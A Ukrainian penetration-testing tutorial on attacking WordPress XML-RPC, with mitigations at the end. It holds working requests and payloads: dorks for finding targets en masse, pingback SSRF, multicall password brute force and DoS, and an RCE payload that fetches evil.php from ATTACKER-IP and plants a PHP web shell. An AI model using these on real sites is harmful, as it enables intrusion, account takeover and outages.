XML-RPC (XML Remote Procedure Call) – це протокол, який налагоджує віддалену комунікацію між електронними ресурсами через функції API. При цьому використовуються протоколи HTTP та XML, як транспортний і кодуючий механізми відповідно. Проте, публічна доступність XML-RPC в WordPress створює ризики різноманітних атак, таких як DOS/DDoS, BruteForce, SSRF, Account Takeover та інших. Сам протокол був розроблений Дейвом Вінером і фактично на сьогодні є застарілим. Останню технічну специфікацію XML-RPC за 1999 рік можна знайти тут.
Аналіз XML-RPC
В CMS WordPress cлужба XML-RPC присутня починаючи з версії 3.5. Визначається вона за наявністю файлу xmlrpc.php у кореневій директорії сайту:
curl -i https://example.com/xmlrpc.php
Якщо служба активна, сервер у відповідь надішле сторінку з повідомленням “XML-RPC server accepts POST requests only” (XML-RPC сервер приймає лише POST запити):



Підтвердити наявність активної служби XML-RPC для сайту на WordPress можна також з допомогою спеціалізованого сканера вразливостей WPScan:
wpscan --url http://example.com --enumerate u,ap,vt,tt,cb,dbe,m --random-user-agent | tee wpscan_log.txt --api-token TOKEN

Для масового пошуку вразливих сайтів з XML-RPC можна скористатись пошуковими запитами Google Dorks:
inurl:"/xmlrpc.php?rsd"intitle:"WordPress" inurl:"readme.html"allinurl:"wp-content/plugins/"
Для масової перевірки доменів на xmlrpc.php можна скористатися нашим Python-скриптом: check_xmlrpc.py.
Щоб перевірити можливість проведення атаки на XML-RPC, необхідно в BurpSuite перехопити GET-запит до вразливого ресурси, перенаправити його в Repeater, модифікувати й надіслати спеціальний POST-запит, відповідно до вимог XML-RPC. Наприклад:
POST /xmlrpc.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Length: 134 <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
У Response-відповіді сервер повинен віддати код 200 з переліком усіх методів XML-RPC:
HTTP/1.1 200 OK
Date: Mon, 08 Sep 2025 16:22:31 GMT
Server: Apache
X-Powered-By: PHP/8.1.33
X-Robots-Tag: noindex, follow
Connection: close
Vary: Accept-Encoding
Upgrade: h2,h2c
Connection: Upgrade
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
Можна також відправити POST-запит у командному рядку Linux через Curl:
curl -s -X POST https://example.com/xmlrpc.php \ -H "Content-Type: text/xml" \ --data '<?xml version="1.0"?> <methodCall> <methodName>system.listMethods</methodName> </methodCall>'

Як бачимо з вищенаведеного матеріалу, цільовий сервер успішно приймає запити й у відповідь надав перелік публічно доступних функцій та методів XML-RPС. Розберемо їх детальніше, щоб скласти МАПУ ПОВЕРХНІ АТАКИ.
Системні методи (XML-RPC Core)
system.multicall— дозволяє відправляти кілька методів у одному запиті. Використовується для масивного брутфорсу (одночасно багато спроб логіну).system.listMethods— повертає список усіх доступних методів на сервері (enum).system.getCapabilities— описує, які API функції доступні в XML-RPC (версії, підтримувані модулі, дає посилання).demo.addTwoNumbers— демонстраційний метод (повертає суму двох чисел). Немає практичного використання.demo.sayHello— тестовий метод, просто повертає “Hello”. Використовується для перевірки працездатності API-інтерфейсу.
Pingback API
pingback.extensions.getPingbacks— повертає список вхідних pingback’ів (посилань з інших сайтів, які вказують на цільовий ресурс).pingback.ping— надсилає pingback-запит іншому серверу. Використовувалося для SSRF/DDoS (можна змусити WP атакувати інший сайт).
MovableType API
Це стара інтеграція для блогу MovableType, але WordPress підтримує її.
mt.publishPost— публікація поста.mt.getTrackbackPings— отримання trackback-запитів для поста.mt.supportedTextFilters— список фільтрів тексту (наприклад, markdown, HTML).mt.supportedMethods— повертає список підтримуваних методів MT API.mt.setPostCategories— змінює категорії у поста.mt.getPostCategories— повертає категорії у поста.mt.getRecentPostTitles— список останніх заголовків постів.mt.getCategoryList— отримати всі категорії.
MetaWeblog API
Ще один API, який WP підтримує для сумісності.
metaWeblog.getUsersBlogs— повертає блоги, якими володіє користувач (корисно для enum).metaWeblog.deletePost— видаляє пост.metaWeblog.newMediaObject— завантажує новий файл (наприклад, зловмисник може завантажити shell).metaWeblog.getCategories— отримує категорії.metaWeblog.getRecentPosts— отримує останні пости.metaWeblog.getPost— отримує конкретний пост.metaWeblog.editPost— редагує пост.metaWeblog.newPost— створює новий пост.
Blogger API
Ще старіший API, підтримка для інтеграції з Blogger.
blogger.deletePost— видаляє пост.blogger.editPost— редагує пост.blogger.newPost— створює пост.blogger.getRecentPosts— отримує останні пости.blogger.getPost— отримує конкретний пост.blogger.getUserInfo— повертає дані користувача (корисно для recon).blogger.getUsersBlogs— повертає блоги користувача.
WordPress API
Це вже нативні методи WordPress.
wp.restoreRevision— відновлення ревізії поста.wp.getRevisions— список ревізій поста.wp.getPostTypes,wp.getPostType— отримання типів постів.wp.getPostFormats— формати постів.wp.getPosts,wp.getPost— отримати пости.wp.newPost,wp.editPost,wp.deletePost— створення / редагування / видалення постів.wp.getPages,wp.getPage— отримати сторінки.wp.newPage, wp.editPage,wp.deletePage— CRUD операції для сторінок.wp.getPageList— список сторінок.wp.getCategories,wp.newCategory,wp.deleteCategory— управління категоріями.wp.getTags— отримати теги.wp.suggestCategories— автопідбір категорій для поста.wp.getTaxonomies,wp.getTaxonomy,wp.getTerms,wp.getTerm— управління таксономіями та термінами (наприклад, custom tags).wp.newTerm,wp.editTerm,wp.deleteTerm— CRUD для термінів.wp.uploadFile— завантаження файлів (можливість завантажити webshell).wp.deleteFile— видалення файлів.wp.getMediaLibrary— список медіа-файлів.wp.getMediaItem— отримати один медіа-файл.wp.getCommentStatusList— статуси коментарів.wp.getComments,wp.getComment— отримати коментарі.wp.newComment,wp.editComment,wp.deleteComment— CRUD для коментарів.wp.getCommentCount— кількість коментарів до поста.wp.getUsers,wp.getUser— отримати дані користувачів (може розкрити логіни).wp.getAuthors— список авторів.wp.editProfile,wp.getProfile— робота з власним профілем.wp.getUsersBlogs— блоги користувача.wp.setOptions,wp.getOptions— доступ до опцій WP (може містити чутливі дані, наприклад URL API).wp.getPageTemplates— список шаблонів сторінок.wp.getPageStatusList,wp.getPostStatusList— статуси сторінок і постів.
З точки зору безпеки, для зловмисника можуть складати інтерес наступні методи:
- Корисні для Recon: wp.getUsers, blogger.getUserInfo, metaWeblog.getUsersBlogs.
- Потенційно небезпечні: system.multicall (брутфорс), pingback.ping (DDoS/SSRF), wp.uploadFile (shell upload), metaWeblog.newMediaObject (зловмисний файл).
- Адмінські: майже всі wp.*, metaWeblog.*, blogger.*, mt.* — якщо вгадати логін/пароль
| Таблиця ризиків XML-RPC методів у WordPress | |||
|---|---|---|---|
| Метод | Категорія | Опис експлуатації | Ризик |
system.listMethods | System | Повертає список доступних методів (enumeration). | Витік інформації |
system.getCapabilities | System | Опис підтримуваних можливостей/версій API. | Витік інформації |
system.multicall | System | Багато викликів в одному POST; часто для прискореного brute-force. | Високий |
demo.sayHello | Demo | Тестова перевірка працездатності API. | Низький |
demo.addTwoNumbers | Demo | Повертає суму двох чисел (демо). | Низький |
pingback.ping | Pingback | Просить WP виконати HTTP-запит до вказаного ресурсу (SSRF/DDoS). | Високий |
pingback.extensions.getPingbacks | Pingback | Повертає список отриманих pingback’ів. | Витік інформації |
mt.publishPost | MovableType | Публікує пост через MT API. | Високий |
mt.getTrackbackPings | MovableType | Отримує trackback пінги для поста. | Витік інформації |
mt.supportedTextFilters | MovableType | Список доступних текстових фільтрів. | Витік інформації |
mt.supportedMethods | MovableType | Список підтримуваних методів MT. | Витік інформації |
mt.setPostCategories | MovableType | Встановлює категорії для поста. | Середній |
mt.getPostCategories | MovableType | Повертає категорії поста. | Витік інформації |
mt.getRecentPostTitles | MovableType | Список останніх заголовків постів. | Витік інформації |
mt.getCategoryList | MovableType | Повертає всі категорії. | Витік інформації |
metaWeblog.getUsersBlogs | MetaWeblog | Повертає блоги користувача (enum). | Витік інформації |
metaWeblog.deletePost | MetaWeblog | Видаляє пост. | Високий |
metaWeblog.newMediaObject | MetaWeblog | Завантажує файл у медіатеку (можливий File upload attack). | Високий |
metaWeblog.getCategories | MetaWeblog | Список категорій. | Витік інформації |
metaWeblog.getRecentPosts | MetaWeblog | Останні пости. | Витік інформації |
metaWeblog.getPost | MetaWeblog | Отримує конкретний пост. | Витік інформації |
metaWeblog.editPost | MetaWeblog | Редагує існуючий пост. | Високий |
metaWeblog.newPost | MetaWeblog | Створює новий пост. | Високий |
blogger.deletePost | Blogger | Видаляє пост. | Високий |
blogger.editPost | Blogger | Редагує пост. | Високий |
blogger.newPost | Blogger | Створює новий пост. | Високий |
blogger.getRecentPosts | Blogger | Отримує останні пости. | Витік інформації |
blogger.getPost | Blogger | Отримує конкретний пост. | Витік інформації |
blogger.getUserInfo | Blogger | Повертає інформацію про користувача. | Витік інформації |
blogger.getUsersBlogs | Blogger | Список блогів користувача. | Витік інформації |
wp.getRevisions | WordPress | Список ревізій поста. | Витік інформації |
wp.restoreRevision | WordPress | Відновлює обрану ревізію поста. | Середній |
wp.getPostTypes | WordPress | Перелік типів постів (custom post types). | Витік інформації |
wp.getPostType | WordPress | Інформація про конкретний тип поста. | Витік інформації |
wp.getPostFormats | WordPress | Підтримувані формати постів. | Витік інформації |
wp.getPosts | WordPress | Отримує колекцію постів за фільтрами. | Витік інформації |
wp.getPost | WordPress | Отримує конкретний пост. | Витік інформації |
wp.newPost | WordPress | Створює новий пост. | Високий |
wp.editPost | WordPress | Редагує існуючий пост. | Високий |
wp.deletePost | WordPress | Видаляє пост. | Високий |
wp.getPages | WordPress | Отримує сторінки. | Витік інформації |
wp.getPage | WordPress | Отримує конкретну сторінку. | Витік інформації |
wp.newPage | WordPress | Створює сторінку. | Високий |
wp.editPage | WordPress | Редагує сторінку. | Високий |
wp.deletePage | WordPress | Видаляє сторінку. | Високий |
wp.getPageList | WordPress | Повертає список сторінок. | Витік інформації |
wp.getCategories | WordPress | Отримує категорії. | Середній |
wp.newCategory | WordPress | Створює категорію. | Середній |
wp.deleteCategory | WordPress | Видаляє категорію. | Середній |
wp.getTags | WordPress | Отримує теги. | Середній |
wp.getTaxonomies | WordPress | Перелік таксономій. | Середній |
wp.getTaxonomy | WordPress | Деталі таксономії. | Середній |
wp.getTerms | WordPress | Список термінів (terms) таксономії. | Середній |
wp.getTerm | WordPress | Деталі терміна. | Середній |
wp.newTerm | WordPress | Створює термін. | Середній |
wp.editTerm | WordPress | Редагує термін. | Середній |
wp.deleteTerm | WordPress | Видаляє термін. | Середній |
wp.uploadFile | WordPress | Завантаження файлів (можливий webshell при слабкій валідації). | Високий |
wp.deleteFile | WordPress | Видалення файлів із медіатеки. | Високий |
wp.getMediaLibrary | WordPress | Перегляд медіатеки. | Витік інформації |
wp.getMediaItem | WordPress | Деталі окремого медіафайлу. | Витік інформації |
wp.getCommentStatusList | WordPress | Можливі статуси коментарів. | Середній |
wp.getComments | WordPress | Отримує список коментарів. | Середній |
wp.getComment | WordPress | Отримує один коментар. | Середній |
wp.newComment | WordPress | Створює новий коментар (можливий спам/XSS). | Середній |
wp.editComment | WordPress | Редагує коментар. | Середній |
wp.deleteComment | WordPress | Видаляє коментар. | Середній |
wp.getCommentCount | WordPress | Лічильник коментарів для поста. | Середній |
wp.getUsers | WordPress | Список користувачів (можливий enum логінів). | Високий |
wp.getUser | WordPress | Дані конкретного користувача. | Високий |
wp.getAuthors | WordPress | Список авторів сайту. | Високий |
wp.editProfile | WordPress | Редагує профіль автентифікованого користувача. | Середній |
wp.getProfile | WordPress | Повертає профіль поточного користувача. | Середній |
wp.getUsersBlogs | WordPress | Список блогів користувача (multisite/Jetpack сценарії). | Витік інформації |
wp.getOptions | WordPress | Читання налаштувань WP (можливі чутливі дані). | Високий |
wp.setOptions | WordPress | Зміна налаштувань (можливий бекдор/редирект). | Високий |
wp.getPageTemplates | WordPress | Список шаблонів сторінок теми. | Витік інформації |
wp.getPageStatusList | WordPress | Перелік статусів сторінок. | Витік інформації |
wp.getPostStatusList | WordPress | Перелік статусів постів. | Витік інформації |
Експлуатація вразливостей XML-RPC WordPress
Pingback-атака (SSRF/IP Disclosure)
Метод pingback.ping дає можливість різним сайтам-блогам на WordPress обмінюватися сповіщеннями про зворотні посилання по протоколу XML-RPC. На жаль, ця функція досі дає можливість зловмисникам зловживати нею, відправляючи від імені сайта-жертви HTTP pingback-запити на інші сайти WordPress. Однак, найчастіше вона застосовується для того аби просто розкрити справжню IP-адресу сервера сайту, яка може бути прихована під WAF/CDN.
Щоправда, аби атака спрацювала, на обидвох сайтах має працювати WordPress зі штатними налаштуваннями, зокрема мають бути увімкнені опції “Дозволити оповіщення з інших блогів”:
Також, у налаштуваннях публікацій має бути увімкнена опція “Увімкнути сповіщення і зворотні посилання”:
Ще одна умова – відсутність будь-яких плагінів безпеки та файєрволів, які можуть блокувати/фільтрувати зовнішні запити. Відкриті порти 80/443 на хостингу.
Сайт-приманка має містити сторінку у форматі post (запис) зі зворотним посиланням на сайт-жертву в форматі: <p>Посилання на сайт <a href="https://victim-site.com/post2/" data-type="link" data-id="https://victim-site.com/post2/">Victim-site.com</a>.</p>. Будь-які дублікати (посилання/текст/сторінки) – відхиляються.
Швидко знайти посилання на публікації будь-якого сайту можна через команди до WP-JSON:
curl https://example.com/wp-json/wp/v2/posts | jq– публікації;curl https://example.com/wp-json/wp/v2/tags | jq– теги;curl https://example.com/wp-json/wp/v2/comments | jq– коментарі;curl https://example.com/wp-json/wp/v2/categories | jq– категорії;- ..інший контент.
Загалом, усі умови спрацювання Pingback детально прописані в службовому файлі WordPress – /wp-includes/class-wp-xmlrpc-server.php в функції public function pingback_ping:
Отже, щоб відправити несанкціонований pingback від імені WordPress з сайту-жертви на сайт-приманку, необхідно виконати наступний POST-запит:
POST /xmlrpc.php HTTP/1.1
Host: victim-site.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 367
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://attacker-site.com/post/</string></value>
</param>
<param>
<value><string>https://victim-site.com/post2/</string></value>
</param>
</params>
</methodCall>
У відповідь повинні отримати:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Date: Tue, 09 Sep 2025 18:02:00 +0000
Content-Length: 339
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<string>Сповіщення від https://attacker-site.com/post/ на https://victim-site.com/post2/ зареєстровано. Тримайте веб-розмову! :-)</string>
</value>
</param>
</params>
</methodResponse> 
Як бачимо, нам вдалось провести успішну SSRF-атаку і тим самим зареєструвати в access.log сайта-приманки IP-адресу сервера та User-Agent сайту-жертви, який надіслав pingback.
Проте, тут є один нюанс. Він полягає в тому, що тут також подається і IP-адреса того, хто ініціював pingback “..verifying pingback from XX.XX.XX.XX”! Тобто, якщо зловмисник був не обережний і використовував свою справжню IP-адресу, то він засвітив її.
У разі, якщо pingback вже було раніше надіслано і зареєстровано в базі даних, сервер жертви поверне інше повідомлення зі статусом faultCode, яке матиме числове значення > 0, а також faultSting з текстовим повідомленням:
Якщо pingback-запит не відправлено або він не пройшов, сервер поверне повідомлення зі статусом faultCode = 0, а faultString буде порожнім:
Слід зазначити, що аби запити коректно оброблялися, при тестуванні XML-RPC для кожного нового WordPress-сайту необхідно відкривати нову вкладку Repeater.
BruteForce-атака (Enumeration)
Можна також спробувати провести BruteForce атаку через метод wp.getUsersBlogs, який віддає список користувачів WordPress, але передбачає авторизацію через пару “логін-пароль”:
POST /xmlrpc.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 242
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param>
<value>admin</value>
</param>
<param>
<value>password</value>
</param>
</params>
</methodCall> Відповідь сервера:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Date: Tue, 09 Sep 2025 15:16:55 +0000
Content-Length: 446
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Неправильне ім’я користувача чи пароль.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Як бачимо, запит було схвалено, але сервер заборонив доступ з кодом помилки 403. Логін “admin” в WordPress стандартний за-замовчуванням, але пароль виявився хибним. Однак, ми можемо повторно надсилати запити й таким чином підібрати пароль. Миттєвий бан в XML-RPC за кількість невдалих спроб не приходить, на відміну від брутфорсу стандартної форми авторизації. Тому цим можна скористатись.
Отже, передаємо Request до Intruder й проводимо атаку грубої сили методом Sniper, вказавши список ймовірних паролів (вимкнувши опцію Payload Encoding, яка кодує символи):



Можна також провести брутфорс пари “логін-пароль” через метод system.multicall, який допускає надсилання одразу кількох запитів в одному Request:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 1560
<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>
</data></array></value></param></params></methodCall> Варто наголосити, якщо обліковий запис користувача WordPress скомпрометовано, то зловмисник може через XML-RPC публікувати/видаляти пости, застосовуючи такі методи як metaWeblog.newPost та інші.
DoS-атака (Denial of Service)
DoS-атака полягає у відправці великої кількості запитів на адресу сайту-жертви. В XML-RPC це стає можливим завдяки методу system.multicall – він дозволяє вставляти багато викликів API в одному POST-запиті. У висновку, це перенавантажує PHP, який обробляє службу XML-RPC і при певних обставинах може привести до Відмови в обслуговуванні (Denial of Service, DoS).
До прикладу, ми можемо відправити POST-запит, який міститиме 30 викликів demo.sayHello:
POST /xmlrpc.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<!-- 30 разів demo.sayHello -->
<value>
<struct>
<member>
<name>methodName</name>
<value><string>demo.sayHello</string></value>
</member>
<member>
<name>params</name>
<value><array><data/></array></value>
</member>
</struct>
</value>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>demo.sayHello</string></value>
</member>
<member>
<name>params</name>
<value><array><data/></array></value>
</member>
</struct>
</value>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>demo.sayHello</string></value>
</member>
<member>
<name>params</name>
<value><array><data/></array></value>
</member>
</struct>
</value>
<!-- скорочено, але просто повторюй цей блок -->
<!-- всього треба 30 штук -->
</data>
</array>
</value>
</param>
</params>
</methodCall>
Відповідь сервера:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Date: Wed, 10 Sep 2025 11:47:38 +0000
Content-Length: 451
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><array><data>
<value><string>Hello!</string></value>
</data></array></value>
<value><array><data>
<value><string>Hello!</string></value>
</data></array></value>
<value><array><data>
<value><string>Hello!</string></value>
</data></array></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
Звичайно, що таке навантаження для більшості серверів є незначним, але якщо вдосконалити цю атаку, це може стати серйозною проблемою для власника. Наприклад, застосовуючи сотні pingback-запитів в одному multicall. Особливо, якщо сервер-жертва має мало оперативної пам’яті, а версії WordPress і PHP давно не оновлювались.
Приклад:
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<!-- Перший пінгбек: source -> target -->
<value>
<struct>
<member>
<name>methodName</name>
<value><string>pingback.ping</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value><string>https://attacker-site.com/poc-page1</string></value> <!-- Source URI -->
<value><string>https://victim-site.com/post1</string></value> <!-- Target URI -->
</data>
</array>
</value>
</member>
</struct>
</value>
<!-- Другий пінгбек: source -> target -->
<value>
<struct>
<member>
<name>methodName</name>
<value><string>pingback.ping</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value><string>https://attacker-site.com/poc-page2</string></value> <!-- Source URI -->
<value><string>https://victim-site.com/post2</string></value> <!-- Target URI -->
</data>
</array>
</value>
</member>
</struct>
</value>
<!-- Третій пінгбек: source -> target -->
<value>
<struct>
<member>
<name>methodName</name>
<value><string>pingback.ping</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value><string>https://attacker-site.com/poc-page3</string></value> <!-- Source URI -->
<value><string>https://victim-site.com/post3</string></value> <!-- Target URI -->
</data>
</array>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>
RCE-атака (Remote Code Execution)
Pear XML_RPC версії 1.3.0 і більш ранні – вразливі до впровадження віддаленого виконання коду (Remote Code Execution). Парсер XML передає дані в елементах XML до PHP eval() без дезінфекції введених користувачем даних. Відсутність фільтрації параметрів дозволяє віддаленому зловмиснику виконувати довільний код в контексті веб-сервера.
Зловмисник може відправити запит через метод XML-RPC з наступним змістом:
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value>
<string>',"));echo '_begin_';echo `cd /tmp;wget ATTACKER-IP/evil.php;chmod +x evil.php;./evil.php`;echo '_end';exit;/*</string>
</value>
</param>
</params>
</methodCall> Як бачимо, тут підвантажується сторонній файл з атакуючого сервера. Він містить код, який запускає шелл-оболонку <?php system($_GET['cmd'];)?>. Команда PHP зберігає шкідливий скрипт у директорію tmp на сервері жертви й змінює дозвіл файлу, аби дозволити виконання. Після чого у зловмисника з’явиться можливість віддаленого виконання коду через GET-запити в URL: http://target.com/evil.php?cmd=ls.
Ще один приклад:
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall> phpinfo() на вразливому сервері.Існує також окремий модуль Metasploit Framework для експлуатації PHP XML-RPC Arbitrary Code Execution:
msf > use exploit/unix/webapp/php_xmlrpc_eval msf exploit(php_xmlrpc_eval) > show targets ...targets... msf exploit(php_xmlrpc_eval) > set TARGET < target-id > msf exploit(php_xmlrpc_eval) > show options ...show and set options... msf exploit(php_xmlrpc_eval) > exploit
Як захиститися? Заходи безпеки.
- Обов’язково відключити службу XML-RPC й обмежити будь-який доступ до xmlrpc.php з кодом відповіді сервера 403. Це можна зробити додавши наступний рядок в файл конфігурації WordPress
wp-config.php:
add_filter( 'xmlrpc_enabled', '__return_false' );
Або відключити глобально через файл конфігурації веб-сервера:
<Files xmlrpc.php> order deny,allow deny from all </Files>
- Оновити CMS WordPress до останньої версії.
- Обмежити доступ до даних, які передаються через WP-JSON. Це можна зробити з допомогою плагіна для WordPress, наприклад “DISABLE REST API“.
- Обов’язково відключити функції оповіщення Pingback/Trackback в налаштуваннях WordPress.
- Налаштувати обмеження до внутрішніх ресурсів сервера, блокувати несанкціоновані HTTP-з’єднання та запити з допомогою WAF. Підключити Cloudflare.
- Встановити відповідні плагіни безпеки для WordPress, наприклад “Wordfence Security”.
- Не використовувати логін WordPress по-замовчуванню – admin, застосовувати складні 20-ти значні паролі зі знаками верхнього та нижнього регістру.
Джерела та посилання
- Sucuri Blog. Brute Force Amplification Attacks Against WordPress XMLRPC
- GitHub. Exploiting of xmlrpc.php
- Infosecwriteups. How Hackers Abuse XML-RPC to Launch Bruteforce and DDoS Attacks
- Wordfence Security Blog. Should You Disable XML-RPC on WordPress?
- WP Hacked. How to Disable XML-RPC in WordPress Manually & Plugins?
- Medium. WordPress xmlrpc.php -common vulnerabilites & how to exploit them
- HackTricks. Pentesting WordPress. XML-RPC.
- Exploit-DB. WordPress Core < 5.3.x – ‘xmlrpc.php’ Denial of Service
- Youtube. Xmlrpc WordPress POC
- Github. Xmlrpc Bruteforce Script
- Github. Xmlrpc Bruteforce 2 Script
- https://hackerone.com/reports/96294
- https://hackerone.com/reports/1890719
- https://hackerone.com/reports/138869
- https://hackerone.com/reports/752073
- https://hackerone.com/reports/1147449
Автор: © Konrad Ravenstone, KR. Laboratories Research








